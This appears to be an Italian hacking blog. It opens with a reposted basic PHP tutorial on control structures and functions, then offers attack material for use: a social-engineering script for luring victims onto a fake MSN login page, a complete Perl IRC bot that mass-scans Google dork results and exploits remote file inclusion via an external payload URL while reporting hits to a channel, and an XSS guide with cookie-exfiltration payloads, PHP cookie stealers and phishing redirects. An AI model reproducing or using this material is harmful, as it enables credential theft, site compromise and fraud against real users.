Quando siamo interessati ad analizzare non più una sola, ma più condizioni prima di decidere quale istruzione eseguire, possiamo far uso della parola chiave elseif che ci consente di indicare una serie di condizioni che verranno analizzate una ad una in ordine sequenziale. Ogni condizione viene testata solo se tutte le precedenti sono risultate false. Se una condizione risulta vera tutte le condizioni successive, sia vere che false, non verranno prese in considerazione. Questo genere di costrutto viene spesso indicato col nome di catena if…then…else… Di seguito è riportato un esempio.

<?;
$scelta=4;
if ($scelta= =1) {
echo $scelta;
}
elseif ($scelta= =2){
echo $scelta;
}
elseif ($scelta= =3){
echo $scelta;
}
elseif ($scelta= =4){
echo $scelta;
}
elseif ($scelta= =5){
echo $scelta;
}

Guida di base al php – L’istruzione Switch

L’istruzione Switch

Switch è simile a una serie di if sulla stessa espressione. In molti casi può essere necessario confrontare una variabile (o espressione) con differenti valori ed eseguire un differente blocco di istruzioni a seconda del valore di detta variabile. Questo è esattamente quello che fa la struttura di controllo switch. Gli esempi seguenti mostrano due maniere differenti di scrivere la stessa cosa, uno utilizzando una serie di if, l’altro utilizzando switch :

if ($i == 0) {
echo “i è uguale a 0”;
}
if ($i == 1) {
echo “i è uguale a 1”;
}
if ($i == 2) {
echo “i è uguale a 2”;
}

switch ($i) {
case 0:
echo “i è uguale a 0”;
break;
case 1:
echo “i è uguale a 1”;
break;
case 2:
echo “i è uguale a 2”;
break;
}

È importante comprendere esattamente come viene eseguita la clausola switch per evitare errori. Un’istruzione switch esegue linea dopo linea le istruzioni in essa contenuta. All’inizio non viene eseguito alcun codice. Solamente quando incontra una clausola case il cui valore è uguale al valore della viariabile, Php inizia ad eseguire le istruzioni contenute nel blocco case. PHP continua l’esecuzione delle istruzioni fino alla termine del blocco switch, o quando incontra un’istruzione break. Se non esiste alcuna istruzione break al termine di un blocco case PHP continuerà l’esecuzione delle istruzioni del blocco case successivo. Per esempio:

switch ($i) {
case 0:
echo “i è uguale a 0”;
case 1:
echo “i è uguale a 1”;
case 2:
echo “i è uguale a 2”;
}

In questo caso se $i è uguale a 0, Php eseguirà tutte le istruzioni contenute nei blocchi case. Se $i è uguale a 1, PHP eseguirà le istruzioni degli ultimi due blocchi case e solamente se $i è uguale a 2 otterremo il risultato voluto e si visualizzerà solo ‘$i è uguale a 2’. Pertanto è importante non dimenticare l’istruzione break (anche se in alcuni casi potrà essere necessario non utilizzarla). In un’istruzione switch, la condizione in parentesi viene valutata una sola volta e il risultato viene confrontato con ciascun ramo case. Utilizzando elseif, la condizione viene valutata una seconda volta. Se tale condizione è più complessa di un semplice confronto e/o è in un ciclo piuttosto pesante, l’uso di switch dovrebbe garantire un minor tempo di esecuzione. Un blocco case può anche non contenere istruzioni, nel qual caso il controllo passa semplicemente al successivo blocco case.

switch ($i) {
case 0:
case 1:
case 2:
echo “i è minore di 3 ma non negativo”;
break;
case 3:
echo “i è 3”;
}

Un blocco case speciale è il il blocco case di default. Uguaglia tutte le condizioni non uguagliate nei blocchi case precedenti e dev’essere l’ultimo blocco case. Per esempio:

switch ($i) {
case 0:
print “i è uguale a 0”;
break;
case 1:
print “i è uguale a 1”;
break;
case 2:
print “i è uguale a 2”;
break;
default:
print “i è diverso da 0, 1 o 2”;
}

L’espressione in un ramo case può essere qualsiasi espressione il cui valore sarà di tipo intero, decimale, numerico e stringa. Array e oggetti (objects) non sono ammessi a meno che non siano dereferenziati a un tipo di dato semplice tra quelli precedentemente elencati.

Guida di base al php – Cicli for & while…do

Cicli for & while…do

Il ciclo For

Il ciclo for è il ciclo più complesso tra quelli disponibili in Php. Si comporta come la sua controparte nel linguaggio C. La sintassi di un clico for è:

for (espressione1; espressione2; espressione3) istruzione

Il valore della prima espressione (espressione1) viene verificato (eseguito) una sola volta incondizionatamente all’inizio del ciclo. Ad ogni iterazione, si controlla il valore di espressione2. Se è TRUE, il ciclo prosegue e viene eseguita l’istruzione (o le istruzioni) contenuta nel blocco; se è FALSE, l’esecuzione del ciclo termina. Al termine di ogni iterazione, si verifica (si esegue) il valore di espressione3. Le due espressioni possono anche non essere presenti. Se non esiste espressione2 significa che il ciclo deve essere eseguito indefinitamente (Php considera implicitamente che il suo valore è TRUE, come in C). Questa possibilità in fondo non è utile come può sembrare perchè obbliga a terminare il ciclo utilizzando l’istruzione break invece di utilizzare le espressioni booleane del ciclo for . Si considerino gli esempi seguenti. In ciascun caso si visualizzeranno i numeri da 1 a 10:

/* esempio 1 */
for ($i = 1; $i <= 10; $i++) {
echo $i;
}

/* esempio 2 */
for ($i = 1;;$i++) {
if ($i > 10) {
break;
}
echo $i;
}

/* esempio 3 */
$i = 1;
for (;;) {
if ($i > 10) {
break;
}
echo $i;
$i++;
}

/* esempio 4 */
for ($i = 1; $i <= 10; echo $i, $i++) ;

Naturalmente il primo esempio sembra il migliore (o forse il quarto), ma l’uso del ciclo for senza espressioni può essere utile in molti casi.
Php offre una sintassi alternativa (con i “punto e virgola”) per i cicli for.

for (espressione1; espressione2; espressione3): istruzione; …; endfor;

Il ciclo While

Il ciclo while è la forma di ciclo più semplice tra quelle possibili in Php. La forma di base di un ciclo while è la seguente:

while (espressione) istruzione

Il significato di un ciclo while è semplice. Istruisce l’interprete Php perchè esegua l’istruzione (o le istruzioni) in esso racchiuse, ripetutamente, fintanto che l’espressione contenuta nella clausola while ha valore TRUE. Il valore dell’espressione viene verificato ogni volta che il ciclo si ripete (iterazione), così che anche se il valore dell’espressione cambia durante l’esecuzione dell’istruzione, il ciclo non termina fino all’iterazione successiva. Ovviamente, se l’espressione nella clausola while ha valore FALSE dall’inizio, l’istruzione racchiusa nel blocco non verrà eseguita nemmeno una volta. Come nel caso della struttura di controllo if, si possono raggruppare più istruzioni nello medesimo ciclo while racchiudendo le istruzioni in parentesi graffa, oppure utilizzando la sintassi alternativa:

while (espressione): istruzione … endwhile;

Gli esempi seguenti sono identici e entrambi visualizzano i numeri da 1 a 10:

/* esempio 1 */
$i = 1;
while ($i <= 10) {
echo $i++;
/* Il valore visualizzato è il valore della variabile $i prima dell’incremento (post-incremento) */
}

/* esempio 2 */
$i = 1;
while ($i <= 10):
echo $i;
$i++;
endwhile;

Il ciclo Do…While

Il ciclo Do..While è simile al ciclo While. La differenza più importante rispetto a while è che la prima iterazione di un blocco Do..While verrà sempre eseguita (il valore dell’espressione viene controllato alla fine del ciclo), mentre non sarà necessariamente eseguito in un ciclo while (il valore dell’espressione viene controllato all’inizio del ciclo, e se tale valore è FALSE dall’inizio, l’esecuzione del ciclo termina immediatamente). È ammessa una sola sintassi per il ciclo Do..While:

$i = 0;
do {
echo $i;
} while ($i>0);

Il ciclo precedente verrà eseguito un’unica volta, dal momento che alla prima iterazione, quando si controlla l’espressione, il suo valore sarà FALSE ($i non è maggiore di 0) e il ciclo di esecuzioni, termina.

Guida di base al php – Le funzioni

 

Definire una funzione

Una funzione può essere definita usando la seguente sintassi:

function foo ($arg_1, $arg_2, …, $arg_n)
{
echo “Funzione di esempio.\n”;
return $retval;
}

Gli argomenti delle funzioni

L’informazione può essere passata alle funzioni tramite la lista degli argomenti, che sono liste di variabili e/o costanti delimitati dalla virgola. Php supporta il passaggio di argomenti per valore (comportamento di default), il passaggio per riferimento, e i valori di default degli argomenti.

function prende_array($input)
{
echo “$input[0] + $input[1] = “, $input[0]+$input[1];
}

Costruire argomenti passati per riferimento

Di default, gli argomenti della funzione sono passati per valore (così se cambiate il valore dell’argomento all’interno della funzione , esso non cambierà fuori della funzione). Se volete permettere ad una funzione di modificare i suoi argomenti, dovete passarli per riferimento. Se volete che una argomento sia passato sempre per riferimento ad una funzione, dovete anteporre la E commerciale (&) al nome dell’argomento nella definizione della funzione:

function aggiungi_qualcosa(&$string)
{
$string .= ‘e qualche altra cosa.’;
}
$str = ‘Questa è una stringa, ‘;
aggiungi_qualcosa($str);
echo $str;
// l’output sarà ‘Questa è una stringa, e qualche

Valori predefiniti degli argomenti

Una funzione può definire valori predefiniti in stile C++ per argomenti scalari come segue:

function fare_il_caffe ($tipo = “cappuccino”)
{
return “Sto facendo una tazza di $tipo.\n”;
}
echo fare_il_caffe ();
echo fare_il_caffe (“espresso”);

L’output dal frammento di sopra è:
Sto facendo una tazza di cappuccino.
Sto facendo una tazza di espresso.

Il valore predefinito deve essere un’espressione costante, non per esempio una variabile o un membro di classe. Da notare che quando vengono usati argomenti predefiniti, qualunque argomento predefinito dovrebbe essere a destra degli argomenti non-predefiniti; diversamente, le cose non funzioneranno come ci si aspetti. Si consideri il seguente frammento di codice:

function fare_lo_yogurt ($tipo = “yogurt”, $gusto)
{
return “Fare una vaschetta di $tipo a $gusto.\n”;
}
echo fare_lo_yogurt (“fragola”);
// non funziona come si aspetta

L’output dell’esempio di sopra è:
Warning: Missing argument 2 in call to fare_lo_yogurt() in ………. on line 41
Fare una vaschetta di fragola a.

Ora, si confronti il codice di sopra con questo:

function fare_lo_yogurt ($gusto, $tipo = “yogurt”)
{
return “Fare una vaschetta di $tipo a $gusto.\n”;
}
echo fare_lo_yogurt (“fragola”);
// funziona come si aspetta

L’output di questo esempio è: Fare una vaschetta di yogurt a fragola.

Valori restituiti

I valori vengono restituiti usando l’istruzione opzionale return. Può essere restituito qualsiasi tipo, incluse liste ed oggetti. Ciò provoca l’interruzione dell’esecuzione della funzione immediatamente e la restituzione del controllo alla linea da cui è stata chiamata.

function quadrato ($num)
{
return $num * $num;
}
echo quadrato (4);
// L’output è ’16’.

Non possono essere restituiti valori multipli da una funzione, ma risultati simili possono essere ottenuti restituendo una lista.

function numeri_piccoli()
{
return array (0, 1, 2);
}
list ($zero, $uno, $due) = numeri_piccoli();

Per restituire un riferimento da una funzione, è necessario usare l’operatore di passaggio per riferimento “&” in entrambe le dichiarazioni di funzioni e quando viene assegnato il valore restituito ad una variabile:

function &restituisce_riferimento()
{
return $un_riferimento;
}
$nuovo_riferimento =& restituisce_riferimento();

Con questa lezione termina il corso sul Php, per diventare davvero bravi vi consiglio di fare molta pratica. Per approfondimenti su questo linguaggio potete consultare la sezione relativa agli articoli e agli script, oppure potrete postare le vostre domande e i vostri dubbi nel forum. A presto!!!

si ringrazia http://www.webmaster-risorse.com per aver fornito l’ottima guida😉

 

Guida All’ingegneria sociale! Social Engineering

Domini gratis
INTRODUZIONE
Il Social Engineering (che noi da ora in poi inizieremo a chiamare Social e basta) è un metodo per ottenere informazioni modificando la nostra reale identità durante la conversazione con altri.
Noi umani siamo molto fiduciosi nel prossimo e tendiamo a credere a ciò che ji si dice. Io sfrutto prorprio questo ed analizzeremo assieme Questo punto.
Iniziamo
Sfruttando Quindi questa fiducia possiamo renderci MOOOOLTO bastardi! e far credere a chiunque qualunque cosa!.
Ma come? vi chiederete🙂
Bhe basta la furbizia.
Questa guida si baserà sulla conversazione su MSN o altri messenger🙂.
Mettiamo caso noi volessimo fare la cosa che tutti desiderano fare, RUBARE LA PASSWORD DI MSN MESSENGER, e anche la cosa più lamera.
Come tecnica sicuramente funzionante esiste il Fake-Login!
Ma come far cascare la gente (anche i più furbi) in un fake-login ??
Bhe iniziamo dicendo che dovrete essere schietti senza insicurezze nel parlare con la vittima, quindi iniziatevi a scrivere il discorso da fare e ogni eventuale domanda e risposta che la vittima farà, ovviamente c’è bisogno di conoscere bene la vittima sapere cosa ji piace, come esempio utilizzerò una vittima con una piccola mente lamera😉, quindi la prima domanda da farsi è: Cosa piace di più ai lemeri? risposta?:Scovare password senza alcuna fatica!. Bene sfruttiamo questo allora: Diciamo alla vittima di aver creato ( o trovato) un sito Molto segreto che una volta entrati con il proprio account accanto all’email dei contatti c’è la password.Quindi eccovi l’esempio:
TU: <“Ciao”>
Vittima : <“We! Ciao”>
Tu: <“:D Tutto ok ??”>
Vittima: <“Certo! E tu??”>
Tu: <“SiSi Ottimamente”>
DOPO NA DECINA DI MINUTI
Tu: <“OMG OMG OMG !!!!!!!!!!!!! ODDIO!!!!!”>
tu: <“Oddioooooooooooooooooooooooooooooooooooo !!!!”>
Vittima: <“Cosa c’è ???????”>
tu: <“Non Ci Crederai mai !ho trovato.. OMG è PAZZESCO!”>
Vittima: <“Cosa cosa!?!?!?!”>
Tu: <“Un sito che accedendo a msn da lì…”>
Vittima: <“…”>
Tu: <“vede tutti i contatti con accanto le password!!!!!!!!!!”>

##Fatejelo volere..##
Tu: <“oddio!!! Funge Benissimo O.o”>

##Qui se inizia a dire “dimmi la mia password” stiamo messi male.. ma in poki lo dicono xD Comunque Andiamo avanti xD

Vittima: <” O.o PLSSSSSSSSSSSSSSSSSSSSSSS passamelo!”>
tu: <“Ma che sono matto?!”>
vittima: <“eddai ti prego!”>
tu: <“vbb PERò NON PASSARLO IN GIROOOOOOO!!! SENò TI AMMAZZO”>
vittima: <“e mi hai preso per matto????”>
tu <“Il link è VOSTRO SITO CON FAKE LOGIN”>

Ed ouilà lui entrerà e voi avrete la vostra password!

SE INVECE la nostra cara vittimella è molto brava e furba bhe … anche voi dovrete essere bravi! Quindi, fate credere alla vittima che avete CREATO LO SCRIPT per accedere a msn e prendere le password, dateji il link pregandolo di andarci st’avolta, perkè qui “lui sarà il maestro che vedrà com’è”
Bhe poi tutto vien da solo… seguite questi consiji e vedrete che funzionera sicuro!!

PER PRENDERE UNA VIPZ DI UN SITO CON DEL SOCIAL

Qui la cosa diventa… PIù SEMPLICE !!!!!!!!! xD!!!!!
Innanzitutto se voi siete già in una VIPZ e la vittima lo sà Andate al passo due🙂 “Se già siamo in una vipz e la vittima lo sà”
Senò… bhe fate come segue xD:
Fatevi credere un mocciosetta, ma fornito e che sà i linguaggi di programmazione (fornito di exploit🙂 ) e che vuole entrare nella sua prima VIPZ per apprendere nuove cose, fatejelo credere!
Quindi La chattata cn l’admin del forum con la vipz
Tu <“Ciao!”>
Vittima <“Ciao”>
Tu <“Ascolta, stò cercando l’accesso alla mia prima vipz ! vorrei capire come funzionano le vipz e imparare nuove cose e magari postare nuovi exploit! ed allora ho contattato te perkè tu hai un bellissimo forum con una vipz!e vorrei far della tua vipz il mio primo accesso ad UNA COSA SERIA”>
Vittima <“Ci Devo pensare”>
Tu <“Io ci tengo veramente…”>

##La vittima al 90% dei casi se lecchinate così, vi farà accedere alla vipz😀 ed voi avrete i priv8 di quelli xD Quindi la conclusione createvela do voi!
##Se Invece la vittima risponde negativamente, LECCHINATE!!!! inseriteci molti “Ti prego!”

Se già siamo in una vipz e la vittima lo sà :
Qui è ancora più semplice di quanto voi crediate! davvero!
Basta iniziare a dire che in quella crew non ci vuoi più stare perkè l’admin ti ha ownato o cose del genere e vuoi entrare in quella della vittima trasportando tutti i priv8 (che ovviamente saranno Fake-Priv8 xD) nella vipz dove volete entrare, inventate che avete un ruba pass di MSN o ottimi exploit funzionanti per php-nuke ttt le versioni (Sempre Alla fine inserirete dei fake OLD o inventati) ed al 99% dei casi avrete l’accesso alla vipz!

By GildeRHacK

Google RFI Scanner In Perl

Domini gratis
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
my $processo = "/usr/local/apache/bin/nscan -DSSL";
my $printcmd="[PHP-SHELL]"; #<---- Change this for your CMD
my $server="irc.indoirc.net";
my $porta="6667";
my $nick="Morgan_Google";
my $chan="#Morgan";

my $verbot = "2.0";
my $cmd="http://usuarios.arnet.com.ar/larry123/safe.txt"; #Never change this
my $pid=fork;
exit if $pid;
$0="$processo".""x16;
my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
$sk->autoflush(1);
print $sk "NICK $nick\r\n";
print $sk "USER Google 8 * : Google : google@google.it : Google :Google\r\n";
print $sk "JOIN $chan\r\n";
print $sk "PRIVMSG $chan :1,0[7S1,0can-Bot] Scan is 3ON1 : 12!scan <bug> <dork>\r\n";

while($line = <$sk>){

$line =~ s/\r\n$//;
if ($line=~ /^PING \:(.*)/)
{
print "PONG :$1";
print $sk "PONG :$1";
}

if ($line=~ /PRIVMSG $chan :.deletebot/){
stampa($sk, "QUIT");
}

if ($line=~ /PRIVMSG $chan :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my ($type,$space);
my %hosts;
stampa($sk, "PRIVMSG $chan :1,0[7S1,0can] Started: $bug - Dork: $dork Engine: Google ");
my @glist=&google($dork);
stampa($sk, "PRIVMSG $chan :1,0[7S1,0can] Google Found: ".scalar(@glist)." Sites!");
push(my @tot, @glist);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $chan :1,0[7S1,0can] Cleaned results: ".scalar(@puliti)." Sites!");
stampa($sk, "PRIVMSG $chan :1,0[7S1,0can] Exploting started! ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %30==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $chan :1,0[7S1,0can] Scan Finished $dork");
}
my $test="http://".$sito.$bug.$cmd."?";
my $print="http://".$sito.$bug.$printcmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /31337/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space,$ker)=split(/\,/,$x);
stampa($sk, "PRIVMSG $chan :1,0[7S1afe4OFF1] 1,0[7S1ys4 ".$type."1] 1,0[7F1ree4 ".$space." 1] $print ");
stampa($sk, "PRIVMSG $chan :1,0[7I1nformation1]4 $ker  ");
checksafemode("$print");}}
elsif($re =~ /31337/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space,$ker)=split(/\,/,$x);
stampa($sk, "PRIVMSG $chan :1,0[7S1afe3ON1] 1,0[7S1ys3 ".$type."1] 1,0[7F1ree3 ".$space." 1] $print ");
stampa($sk, "PRIVMSG $chan :1,0[7I1nformation1]3 $ker  ");
checksafemode("$print");}}
}}}
exit;
}}}

sub stampa()
{
if ($#_ == '1') {
my $sk = $_[0];
print $sk "$_[1]\n";
} else {
print $sk "$_[0]\n";
}}

sub os(){
my $sito=$_[0];
my $Res=query($sito);
my $type;
my $space;
my $ker;
my $str;
while($Res=~m/<br>OSTYPE:(.+?)\<br>/g){
$type=$1;
}
while($Res=~m/<br>Kernel:(.+?)\<br>/g){
$ker=$1;
}
while($Res=~m/<br>Free:(.+?)\<br>/g){
$space=$1;
}
$str=$type.",".$space.",".$ker;
return $str;
}
sub google(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub links()
{
my @l;
my $link=$_[0];
my $host=$_[0];
my $hdir=$_[0];
$hdir=~s/(.*)\/[^\/]*$/\1/;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host.="/";
$link.="/";
$hdir.="/";
$host=~s/\/\//\//g;
$hdir=~s/\/\//\//g;
$link=~s/\/\//\//g;
push(@l,$link,$host,$hdir);
return @l;
}

sub geths(){
my $host=$_[0];
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
return $host;
}

sub key(){
my $chiave=$_[0];
$chiave =~ s/ /\+/g;
$chiave =~ s/:/\%3A/g;
$chiave =~ s/\//\%2F/g;
$chiave =~ s/&/\%26/g;
$chiave =~ s/\"/\%22/g;
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
}

sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}

sub checksafemode($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"tckct.co.uk",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET /logfiles/CDPW3U1032/safe.php?url=$query HTTP/1.0\r\nHost: tckct.co.uk\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
}

sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
next if $visti{ $elemento }++;
push @unici, $elemento;
}
return @unici;
}

Xss Cross Site Scripting

Domini gratis
Introduzione
La tecnica del Cross Site Scriptin (XSS,una sigla da non confondere con CSS , un linguaggio di programmazione markup
dedicato esclusivamente alla formattazione di testo e dati sul web) fa parte della famiglia dei “code injection” e
può rappresentare un pericolo di sicurezza su qualsiasi server , piattaforma , di qualsiasi linguaggio web , dinamico
o statico .

Come Trovare Una XsS
Per Trovare una XsS è sufficente che il sito abbia del codice, possibilmente JavaScript. Vediamo Quindi come funziona:

<form id="form1" name="form1" action="gilder.php" method="get"><input id="cerca" name="cerca" value="lamiaricerca" type="text" /></form>

Tutto Ciò quindi che noi andremo a cercare sarà nel campo value=””
Per Far eseguire quindi del java script in questo “cerca” inseriamo:

"><script>alert("GildeRHacK")</script>

Quindi uscirà fuori questo tipo di input

<input type="text" id="cerca" name="cerca" value=""><script>alert("GildeRHacK");</script>">

Quindi la input viene chiusa e viene eseguito il javascript .

Come Sfruttare una XSS che Grabba?

Una Volta Trovata una XsS Bisogna reindirizzare la nostra vittima verso una nostra pagina in PhP che avrà il compito di rubare i cookie.
Invece Di far comparire un’alert alla xss Usate il reinderizzamento

"><script>location.href="SITO"+document.cookie;</script>

SITO stà per il vostro sito ove avete ostato il codice php che ruberà i cookie che è il seguente:
Questo Invierà Una mail a voi con I cookie della vittima, Ovviamente settate la vostra mail al posto di nostramail@mail.it

<?
//created by GildeRHacK
mail("nostra@mail.it","Abbiamo rubato i cookie",$_GET['cookie'];
?>

Invece Questo Salva I Cookie Direttamente sull’ftp ove è hostato il rubacookie:
<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a');
fwrite($fp, "Cookie: '.$cookie.' <br> <br>");
fclose($fp);
header('Location: http://www.google.sm/');
?>
Infine si Prelevano i Cookie si salvano sul proprio computer e si vanno a modificare al posto dei Propri.
FireFox ha un tool che fà Proprio questo Lavoro cercatelo su Google.sm, si chiama Cookie Editor
Sfruttare una XsS che non grabba
anche se non è possibile
rubare i cookie possiamo sempre redirectare la vittima verso una pagina creata da noi , in questo caso parliamo di phishing .
Per effettuare del phishing ci basterà costruire la XSS in questo modo:
http://www.sito.it/pagina.php?variabile="><script>location.href="www.nostrosito.it/phishing.htm";</script>
A questo punto ci basta costruire la pagina phishing.htm , magari riprendendo la stessa struttura grafica e le stesse
funzionalità del sito che abbiamo scelto di attaccare .
Pubblicato su Tutorial Hack. 1 Comment »

Benvenuti

Benvenuti Nel Blog Di GildeRHacK🙂 tutorial, guide, divertimento e molto altro vi aspettano!